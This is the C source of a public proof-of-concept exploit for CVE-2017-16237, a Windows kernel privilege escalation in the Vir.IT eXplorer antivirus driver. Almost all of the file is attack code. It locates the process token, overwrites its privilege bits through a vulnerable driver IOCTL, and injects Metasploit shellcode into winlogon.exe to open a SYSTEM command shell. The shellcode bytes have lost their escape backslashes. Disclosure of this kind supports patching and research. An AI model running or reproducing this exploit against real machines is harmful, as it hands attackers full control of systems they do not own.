/*

Exploit Title - Vir.IT eXplorer Anti-Virus Arbitrary Write Privilege Escalation
Date - 1st November 2017
Discovered by - Parvez Anwar (@parvezghh)

Exploit Title - Vir.IT eXplorer Anti-Virus Arbitrary Write Privilege Escalation
Date - 1st November 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.tgsoft.it
Tested Version - 8.5.39
Driver Version - 1.0.0.11 - VIAGLT64.SYS
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2017-16237
Vendor fix url - n/a
Fixed Version - 8.5.42
Fixed driver ver - 1.0.0.12


Check blogpost for details:

https://www.greyhathacker.net/?p=990

*/


#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

#pragma comment(lib,"advapi32.lib")

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)


typedef unsigned __int64 QWORD;


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);




DWORD getProcessId(char* process)
{
HANDLE hSnapShot;
PROCESSENTRY32 pe32;
DWORD pid;


hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf(" [-] Failed to create handle CreateToolhelp32Snapshot() ");
return -1;
}

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapShot, &pe32) == FALSE)
{
printf(" [-] Failed to call Process32First() ");
return -1;
}

do
{
if (stricmp(pe32.szExeFile, process) == 0)
{
pid = pe32.th32ProcessID;
return pid;
}
} while (Process32Next(hSnapShot, &pe32));

CloseHandle(hSnapShot);
return 0;
}


int spawnShell()
{
// windows/x64/exec - 275 bytes http://www.metasploit.com
// VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe

char shellcode[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x6dx64x2ex65x78x65x00";

char* process = "winlogon.exe";
DWORD pid;
HANDLE hProcess;
HANDLE hThread;
LPVOID ptrtomem;


pid = getProcessId(process);

if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
printf(" [-] Unable to open %s process ", process);
return -1;
}
printf(" [+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);

if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
printf(" [-] Unable to allocate memory in target process ");
return -1;
}
printf(" [+] Memory allocated at address 0x%p", ptrtomem);

if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL)))
{
printf(" [-] Unable to write to process memory ");
return -1;
}
printf(" [+] Written to allocated process memory");

if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL)
{
CloseHandle(hThread);
printf(" [-] Unable to create remote thread ");
return -1;
}
printf(" [+] Created remote thread and executed ");

return 0;
}



QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;


if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf(" [-] OpenProcessToken() failed (%d) ", GetLastError());
return -1;
}

NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation ");
return -1;
}

do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);

printf(" [i] Current process id %d and token handle value %u", MyProcessID, hToken);

for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{

if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}

HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}



int main(int argc, char *argv[])
{

QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
QWORD input[3] = {0};


printf("------------------------------------------------------------------------------- ");
printf(" Vir.IT eXplorer Anti-Virus (VIAGLT64.SYS) Arbitrary Write EoP Exploit ");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) ");
printf("------------------------------------------------------------------------------- ");

TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf(" [i] Address of current process token 0x%p", TokenAddress);

TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf(" [i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);

input[0] = TokenAddressTarget;
input[1] = 0x0000000602110000;
input[2] = 0x0000000000110000;

sprintf(devhandle, "\\.\%s", "viragtlt");

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf(" [-] Open %s device failed ", devhandle);
return -1;
}
else
{
printf(" [+] Open %s device successful", devhandle);
}

printf(" [~] Press any key to continue . . . ");
getch();

DeviceIoControl(hDevice, 0x8273007C, input, sizeof(input), NULL, 0, &dwRetBytes, NULL);

printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits ");
CloseHandle(hDevice);

printf("[*] Spawning SYSTEM Shell");
spawnShell();

return 0;
}